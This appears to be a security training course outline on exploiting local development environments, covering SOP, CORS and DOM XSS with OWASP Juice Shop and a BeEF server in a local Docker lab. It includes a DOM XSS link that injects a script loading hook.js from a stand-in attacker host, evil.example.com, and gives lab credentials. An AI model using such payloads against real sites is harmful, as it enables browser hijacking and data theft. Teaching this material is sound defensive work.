Main Content

Exploiting Local Dev Envs

Table Of Contents

Running Locally

  • Update /etc/hosts
    • 127.0.0.1 evil.example.com
    • 127.0.0.1 victim.example.com
    • 127.0.0.1 prod.example.com
  • BeEf Server Credentials
    • Username/Password: beefy
  • Running
    • git clone [email protected]:SecuringTheStack/tutorials.git
    • cd $REPO/ep7-exploiting-dev-envs-part-1
    • docker-compose up
      • Be careful, this runs an intentionally vulnerable web application
      • The prod elasticsearch instance will be seeded with data 2 minutes after running docker-compose up

Talk Scope

  • Focus on the faulty security assumptions that we make
    • DevOps Engineers and Developers
  • Technical exploit that you can run locally
  • Key takeaway
    • Not necessarily patching the exploit
    • It's about patching our assumptions
      • Transition from unknown unknowns…
        • To known unknowns

Technical Outline: First Half

  • Refresher
    • Same Origin Policy (SOP)
    • Cross-Origin Resource Sharing (CORS)
    • Cross-Site Scripting (XSS)
      • Dom XSS
  • 2x video if needed

Technical Outline: Second Half

  • Exercise Goal: Exploit Local Dev Environment To Steal Production Data
  • Developer
    • Running local Elasticsearch CE 5.6.9 database
      • CORS disabled to "help" development workflow
    • Signed into a corporate VPN
  • Production Elasticsearch CE 5.6.9 database
    • On corporate VPN
    • CORS enabled
  • BeEF (Browser Exploitation Framework)

Same Origin Policy (SOP): Refresher

  • Browser security mechanism
  • Origin within SOP
    • Where did the request originate from?
    • If your browser is visiting evil.example.com's homepage
      • For outgoing requests, evil.example.com is the origin
        • Perspective of browser
  • Nutshell: SOP restricts how origins can interact
  • evil.example.com's Javascript is limited in how it can interact with api.bank.example.com
    • Crucial if you have authentication cookies scoped to api.bank.example.com

Same Origin Policy (SOP): Refresher (CONT.)

  • How can the SOP be "relaxed"?
    • Cross-Origin Resource Sharing (CORS)

CORS: Refresher

  • A HTTP response header that's sent to the browser
  • Hmm, what happens if a server sends the CORS header: Access-Control-Allow-Origin: *?
    • evil.example.com's Javascript has more access to the server
      • In certain situations, evil.example.com can submit any type of REST request to the server
  • Ever seen Access-Control-Allow-Origin: * before?
    • Non-PROD systems
      • Allows for a high variation of Origins
        • Ex: localhost, 127.0.0.1, dev.example.com
  • Hmm, how could XSS take advantage of * CORS access?

Juice Shop

  • We will explore XSS within OWASP's Juice Shop (aka fAmazon Juice Shop)
  • Evil Mallory
  • Victim Bob

Cross-Site Scripting (XSS)

  • Key idea
    1. Mallory injects evil Javascript into victim.example.com
    2. Bob visits victim.example.com and evil Javascript is loaded into his browser
  • After Mallory obtains XSS on a victim's browser
    • What could she do?

XSS: Mallory Attacks

  • Steal authentication cookies
  • Make arbitrary requests to other sites on the internet
    • Or local network…

XSS: Mitigation Advice

  • Q: What is the common advice on prohibiting XSS?
    • Client-side validation?
    • Server-side validation?
  • A: Server-side validation
    • Server will drop request if it has unexpected characters
  • "Client-side validation is bad practice, MAN!"
    • We are told this as a beginner
    • Is this always true?
      • Moving to known unknowns

DOM XSS

  • A variation of XSS that doesn't involve the server
  • Scenario
    • Mallory posts a link on a web forum
    http://victim.example.com/#/search?
q=%3Cscript%20src%3D%22http:%2F%2Fevil.example.com:3000%2Fhook.js%22%3E%3C%2Fscript%3E
    • Victim clicks on the link because he trusts victim.example.com
    • XSS <script src="evil.example.com:3000/hook.js"></script> is loaded into the page
      • Anything after # isn't sent to the server

DOM XSS (CONT.)

  • Assumption
    • "Client-side validation is pointless"
  • Result
    • Client-side code doesn't validate query string parameters before insertion into the DOM

DOM XSS (CONT.)

  • What is hook.js?
    • Allows the victim's browser to be controlled by Mallory's BeEF server
Complete and Continue  
Discussion

0 comments